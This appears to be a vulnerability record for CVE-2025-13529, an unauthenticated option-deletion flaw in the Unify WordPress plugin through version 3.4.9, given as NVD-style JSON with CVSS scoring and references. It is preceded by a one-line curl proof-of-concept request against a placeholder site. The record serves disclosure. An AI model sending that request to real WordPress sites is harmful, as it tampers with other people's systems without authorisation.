CVE-2025-13529

curl -X POST https://target-site.com/wp-admin/admin-ajax.php -d 'action=init&unify_plugin_downgrade=option_name'

{"cve": {"id": "CVE-2025-13529", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:49.083", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Unify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'init' action in all versions up to, and including, 3.4.9. This makes it possible for unauthenticated attackers to delete specific plugin options via the 'unify_plugin_downgrade' parameter."}, {"lang": "es", "value": "El plugin Unify para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la acción 'init' en todas las versiones hasta la 3.4.9, inclusive. Esto hace posible que atacantes no autenticados eliminen opciones específicas del plugin a través del parámetro 'unify_plugin_downgrade'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/unify/tags/3.4.9/Services/Hooks.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3447706/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5fd4a47-0549-4d03-b81a-ad97d3d5d390?source=cve", "source": "[email protected]"}]}}